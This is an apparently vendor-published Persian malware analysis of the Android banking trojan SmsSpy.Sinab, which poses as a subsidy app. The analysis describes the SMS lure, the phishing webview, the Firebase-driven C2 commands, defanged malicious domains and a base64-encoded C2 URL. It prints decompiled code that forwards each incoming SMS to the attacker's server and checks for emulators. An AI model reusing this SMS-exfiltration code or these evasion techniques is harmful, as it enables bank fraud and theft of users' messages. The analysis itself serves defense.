Trojan.Android.SmsSpy.Sinab

شرح کلی

نوع: تروجان (Trojan)
درجه تخریب: متوسط

تروجان (Trojan) چیست؟

تروجان‌ها نوعی از بدافزار محسوب می‌شوند که خود را در قالب یک نرم‌افزار سالم و قانونی نشان می‌دهند و بسیار شبیه نرم‌افزارهای مفید و کاربردی رفتار می‌کنند. اما هنگامی ‌که اجرا می‌شوند، خرابی‌های زیادی را برای سیستم ایجاد می‌کنند. نرم‌افزارهای دانلود شده از اینترنت، جاسازی شدن در متن HTML، ضمیمه شدن به یک ایمیل و … از جمله راه‌های ورود تروجان‌ها به سیستم هستند. تروجان‌ها برخلاف ویروس‌ها و کرم‌های کامپیوتری قادر به تکثیر خود نیستند.

خانواده بدافزاری SmsSpy.Sinab چیست؟

دسته‌ای از اپلیکیشن‌های آلوده با هدف حملات فیشینگ و دسترسی به اطلاعات حساب‌های بانکی کاربران، در مارکت‌های اندرویدی معتبر مانند کافه بازار، مایکت و همچنین سایت‌ها و مارکت‌های غیر معتبر، کانال‌های تلگرامی و یا اس ام اس‌های حاوی لینک‌های آلوده وجود دارند که کاربر آنها را دانلود و نصب می‌کند. این بدافزارها در ظاهر برنامه‌های مفید و قانونی بوده ولی در عمل نه تنها خدمات مثبتی ارائه نمی‌کنند، بلکه اقدام به دزدی اطلاعات شخصی کاربران با استفاده از حملات فیشینگ می‌کنند.

روال کاری اینگونه بدافزارها به این صورت است که در شروع کار با دادن وعده‌های مختلفی مانند ارائه خدمات بیشتر (از جمله دسترسی به ابلاغیه دادگاه، دریافت یارانه، سهام عدالت و …) در ازای درخواست مبلغی ناچیز، کاربران را به صفحه جعلی دریافت اطلاعات بانکی انتقال می‌دهند. به محض اینکه کاربر اطلاعات حساب خود را وارد می‌کند، تمامی اطلاعات کارت بانکی به سمت مهاجمان ارسال شده و با دسترسی که بدافزار به پیامک‌های کاربر دارد، رمز دوم کاربر را نیز دریافت کرده و اقدام به خالی نمودن حساب کاربر می‌نماید.

توضیحات فنی

نام این برنامه “یارانه من” می‌باشد که به صورت پیامکی با محتوای “[ـ‌ساز‌ِمانِ‌ـ رِ‌فا‌ه‌ـ ـ‌اجتماعی‌ـ] با توجه به بـ‌خش نامـه جدید صـ‌ادر شده برای دریافت ـ‌یـ‌ارانـِه معیشتی این دوره در سـ‌امانه رسمی ذیل ثَب‌تِ نـ‌ام کنید. /https[:]//refahhie[.]click” برای کاربر ارسال شده است که در صورت کلیک کاربر بر روی URL موجود در پیامک، دانلود می‌شود. برنامه، پس از نصب و اجرا توسط کاربر، اقدام به گرفتن مجوزهای مورد نیاز خود یعنی مشاهده و ارسال پیامک و دسترسی به مخاطبین کاربر می‌نماید و پس از آن، کادر دیالوگی با محتوای زیر به کاربر نمایش می‌دهد.

سپس یک وب ویو با آدرس “/https[:]//refahiile.click/rat-webpage2” به صورت زیر جهت دریافت اطلاعات مشخص شده به کاربر نمایش داده می‌شود که بعد از دریافت اطلاعات این قسمت توسط کاربر، صفحه‌ای برای دریافت اطلاعات بانکی جهت ثبت نام یارانه نمایان می‌شود. پس از ورود اطلاعات کارت بانکی، کاربر پیامی مبنی بر خطا در ثبت اطلاعات کارت دریافت می‌کند. در صورت وارد کردن اطلاعات کارت بانکی توسط کاربر، بدافزار آنها را به سرور C2 (فرماندهی و کنترل) خود یعنی /https[:]//findme-marshdev.cf/rats/sinus ارسال و با دسترسی به پیام‌ها و رمز پویای کاربر، حساب بانکی‌اش را خالی می‌کند.

شرح عملکرد

اکتیویتی اصلی pollmikham.sinab.main

نام این برنامه ” یارانه من “ است و به محض نصب و اجرا شروع به انجام عملیات زیر می‌کند:

در صورتی که نسخه اندروید،  Android 6.0 (سطح API 23) به بالا باشد، اقدام به گرفتن مجوزهای زیر از کاربر کرده و در صورتی که کاربر این مجوزها را به برنامه ندهد، برنامه بسته خواهد شد:

  • “android.permission.READ_SMS” : مجوز مشاهده پیام‌های کاربر
  • “android.permission.SEND_SMS” : مجوز ارسال پیام
  • “android.permission.RECEIVE_SMS” : مجوز دریافت پیام
  • “android.permission.READ_CONTACTS” : مجوز مشاهده اطلاعات مخاطبین کاربر

سپس، بدافزار از مسیر assets برنامه، دو فایل با نام‌های link.txt و layout.bal را واکشی می‌کند.

  • link.txt: این فایل حاوی لینک “/https[:]//eblagiie1.ca/rat-webpage2” می‌باشد (این آدرس از دسترس خارج شده و لود نمی‌شود).

اکتیویتی‌های برنامه همگی از نوع Web View تعریف شده‌اند. بدافزار لینک “/https[:]//eblagiie1.ca/rat-webpage2” را (در صورت عدم دسترسی به اینترنت) برای نمایش اطلاعات اکتیویتی اصلی لود می‌کند.

  • layout.bal: اطلاعات مربوط به (layout)، نحوه قرارگیری ویجت‌های موجود در اکتیویتی می‌باشد.

این اکتیویتی لینک موجود در فایل link.txt واقع در پوشه asset برنامه را داخل متغیر link_ قرار داده و سپس مقدار متغیر url_ را از الحاق مقادیر زیر به دست می‌آورد:

  • androidid_: شناسه گوشی کاربر
  • https[:]//eblagiie1.ca/rat-webpage2/ :_link
  • رشته ثابت : “?user=”
  • _url=_link + “?user=” + _androidid_

و سپس مقدار متغیر x_ را نیز از الحاق موارد زیر ایجاد می‌نماید:

  • آدرس کد شده (base64): “aHR0cHM6Ly9maW5kbWUtbWFyc2hkZXYuY2YvcmF0cy9zaW51cy91cmwucGhw”
    “https://findme-marshdev.cf/rats/sinus/url.php”
  • رشته ثابت: “?x=”
  • rando_: عدد تصادفی ایجاد شده در رنج تعیین شده
  • x=”aHR0cHM6Ly9maW5kbWUtbWFyc2hkZXYuY2YvcmF0cy9zaW51cy91cmwucGhw”+ “?x=” + _rando_

بدافزار با استفاده از متد download2_ آدرس محتوای متغیر x_ که فایلی حاوی url فیشینگ می‌باشد را با استفاده از متد get دریافت می‌کند و سپس url فیشینگ (/https[:]//refahiile.click/rat-webpage2) موجود در فایل را در اکتیویتی اصلی برنامه جهت دریافت اطلاعات بانکی کاربر نمایش می‌دهد.

سرویس Firebasemessaging

این سرویس در واقع پل ارتباطی بدافزار و گوشی کاربر است که اعلانات ارسالی از طریق Firebase گوگل را با متد resume دریافت کرده و دستورات را اجرا می‌کند:

  • اگر _m2=null و _m=List باشد: با استفاده از متد poststring_ اقدام به ارسال اطلاعات جمع آوری شده (مدل گوشی، شناسه گوشی، اپراتور شبکه، سطح باتری و وضعیت خاموش یا روشن بودن نمایشگر گوشی) به آدرس سرور C2 بدافزار می‌کند.
  • اگر m=checkPermission_ و (شناسه گوشی) m2=_androidid باشد: بررسی می‌کند که بدافزار مجوزهای “android.permission.RECEIVE_SMS” و “android.permission.SEND_SMS” را از گوشی کاربر دریافت کرده است یا خیر.
  • اگر m=getLastSms_ و m2=_androidid باشد: اطلاعات آخرین پیامک دریافت شده (شامل شناسه گوشی آنلاین، مدل گوشی، متن پیامک، شماره تلفن و نام اپراتور شبکه) در گوشی کاربر به سرور C2 بدافزار ارسال می‌شود.
  • اگر m=getAllSMS_ و_m2=_androidid باشد: همه پیامک‌های موجود گوشی کاربر ( شناسه گوشی کاربر به همراه متن پیامک، شماره ارسال یا دریافت، زمان دریافت یا ارسال پیامک) در قالب یک رشته (در صورتی که از اندازه حجم تعیین شده بیشتر نباشد) به سرور C2 بدافزار ارسال می‌شود.
  • اگر m =getcontacts_ و m2=_androidid باشد: همه مخاطبین گوشی کاربر (شناسه گوشی کاربر به همراه شماره و نام مخاطبین) در قالب یک رشته (در صورتی که از اندازه حجم تعیین شده بیشتر نباشد) به سرور C2 بدافزار ارسال می‌شود.
  • اگر _m =smcontacts & _androidid باشد: با استفاده از متد sendlargesms_ به تمام مخاطبین گوشی کاربر پیام ارسال می‌نماید. به این صورت که با استفاده از متدی به نام “sendMultipartTextMessage” (متدی برای ارسال یک متن چند بخشی که در کنارش نیز از متد “divideMessage” به منظور تقسیم متن به چندین بخش که هیچکدام بزرگتر از اندازه مجاز نباشد، استفاده کرده چون ممکن است حجم متن به قدری باشد که موفق به ارسال آن نشود) اقدام به ارسال پیام (sms) تنظیم شده به تک تک مخاطبین کاربر می‌کند (محتوای ارسالی به لیست مخاطبین همان جوابی است که بدافزار از سرور C2 آلوده خود دریافت می‌کند) و سپس در صورت اتمام عملیات، گزارش اتمام عملیات ارسال پیام را به همراه شناسه گوشی به سرور C2 بدافزار ارسال می‌نماید.
  • اگر m=sendmessage&_androidid باشد: با استفاده از کلاس PNSMS و متد ()send، مهاجم امکان ارسال پیامک طولانی(SEND_SMS) و دریافت گزارش ارسال پیامک(SMS_DELIVERED) را دارد. همچنین، می‌تواند گزارش وضعیت پیامک‌ها را برای زمانی که امکان ارسال پیامک نیست، بررسی کند مانند:

زمانی که گوشی در وضعیت “No service” باشد، “Null PDU” زمانی که متن پیام طولانی باشد، “Radio off” که امکان ارسال پیامک نیست.

مهاجم امکان ارسال پیامک به شماره تلفن (خاص) را نیز دارد. زمانی که دستور “targetaddress” از سمت سرور بدافزار ارسال می‌شود، مهاجم می‌تواند به شماره مشخص پیامک ارسال کرده و گزارش ارسال آن را که به درستی انجام شده یا نه، دریافت کند.

در نتیجه مجموعه عملکرد کتابخانه –PNSMS موارد زیر می باشد:

ارسال پیامک طولانی و دریافت گزارش ارسال

ارسال پیامک کوتاه و یا طولانی

دریافت متن خطا ارسال نشدن (مانند حالت پرواز بودن گوشی، نداشتن آنتن، نداشتن شارژ کافی و…)

دریافت گزارش تحویل گرفته شده یا خیر

تمامی نتایج را هم می‌توانید مجزا به ازای هر مرحله پیام (مختص پیامک‌های طولانی) و یا با هم دریافت کنید.

ارسال پیامک به یک شماره خاص و دریافت گزارش ارسال شدن یا نشدن آن

  • اگر m =hideAll _ و m2=null_ باشد: با استفاده از متد hideAppIcon و همچنین فراخوانی setComponentEnabledSetting آیکون برنامه خود در گوشی کاربر مخفی و سرویس برنامه خود را در پس زمینه بالا نگه می‌دارد. همچنین، پیغام مخفی‌سازی آیکون برنامه به همراه شناسه گوشی، نام اپراتور شبکه، نام مدل و سطح باتری گوشی کاربر به سرور بدافزار ارسال می‌شود.
  • اگر m =unhide _ و m2=_androidid_ باشد: در صورتی که آیکون بدافزار در شناسه گوشی مشخص شده پنهان نباشد، گزارش وضعیت آیکون بدافزار به همراه شناسه گوشی‌، نام اپراتور شبکه، نام مدل و سطح باتری گوشی کاربر به سرور بدافزار ارسال می‌شود. در صورتی که آیکون بدافزار پنهان شده باشد، با استفاده از متد setComponentEnabledSetting آیکون بدافزار را آشکار کرده و سپس مجددا گزارش عملیات خود را به همراه شناسه گوشی، نام اپراتور شبکه، نام مدل و سطح باتری گوشی کاربر به سرور بدافزار ارسال می‌نماید.

متد whatido_:

این متد در صورتی که مدل گوشی برابر با یکی از مقادیر (“Nexus”, “nexus”, “Pixel” , “pixel”) باشد، (“nexus” و “pixel” از اسامی است که معمولا از آنها در نامگذاری امولاتورهای اندروید استفاده می‌شود) از برنامه خارج خواهد شد که در واقع عملکرد آنتی آمولاتور این بدافزار محسوب می‌شود.

</br>

<source lang="c">

public static boolean _whatido() throws Exception {

String str = _model;

if (str.indexOf("Nexus") > -1 || str.indexOf("nexus") > -1 || str.indexOf("Pixel") > -1 || str.indexOf("pixel") > -1) {

Common.ExitApplication();

return false;

}

return true;

}

</source>

سرویس pollmikham.sinab.smsreceived

متد service_start_:

این سرویس با توجه به اکشن “android.provider.Telephony.SMS_RECEIVE” به محض دریافت پیامک، اطلاعات زیر را دریافت می‌کند:
1. با استفاده از متد parsesmsintentmulti(arg6, “body”) _ و فراخوانی getMessageBody به محتوای پیام دسترسی پیدا می‌کند.
2. با استفاده از متد parsesmsintentmulti(arg6, “address”)_ و فراخوانی getOriginatingAddress به شماره فرستنده پیام (sms) دسترسی خواهد داشت.
سپس اطلاعات پیامک دریافتی به همراه شناسه، مدل و اپراتور شبکه گوشی کاربر به سرور بدافزار ارسال می‌نماید

public static String _service_start(IntentWrapper arg6) throws Exception {

String v0_1;

int v0 = 0;

if(!smsreceived._whatido()) {

Common.ExitApplication();

Common.StopService(smsreceived.processBA, "");

v0_1 = "";

}

else {

if((arg6.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) && (smsreceived._whatido())) {

_message[] v1 = new _message[0];

int v2 = v1.length;

while(v0 < v2) {

v1[v0] = new _message();

++v0;

}

v0_1 = smsreceived._parsesmsintentmulti(arg6, "body");

String v1_1 = smsreceived._parsesmsintentmulti(arg6, "address");

httpjob v2_1 = new httpjob();

v2_1._initialize(smsreceived.processBA, "Job2", smsreceived.getObject());

v2_1._poststring(firebasemessaging._url, "messagetext=" + v0_1 + "&number=" + v1_1 + "&androidid=" + firebasemessaging._androidid + "&model=" + firebasemessaging._model + "&sim=" + firebasemessaging._networkname);

}

Common.StartService(smsreceived.processBA, firebasemessaging.getObject());

smsreceived.mostCurrent._service.StopAutomaticForeground();

v0_1 = "";

}

return v0_1;

}.

روش مقابله و پاک‌سازی سیستم

برای اطمینان خاطر از عدم آلودگی دستگاه، آنتی‌ ویروس پادویش را نصب کرده و فایل پایگاه داده آن را به‌روز نگه دارید و اسکن آنتی ویروس را انجام دهید.

روش‌های پیشگیری از آلوده شدن گوشی

  • از دانلود و نصب برنامه از منابع و مارکت‌های موبایلی نامعتبر خودداری کنید.
  • هنگام نصب برنامه‌های موبایلی، به مجوزهای درخواستی دقت کنید.
  • از فایل‌ها و اطلاعات ذخیره شده در گوشی، پشتیبان‌گیری مداوم انجام دهید.
  • از نسخه‌های غیررسمی برنامه‌ها استفاده نکنید. برنامه‌هایی مانند تلگرام و اینستاگرام نسخه‌های غیررسمی زیادی دارند و بیشتر آنها از طریق کانال‌های تلگرامی انتشار می‌یابند.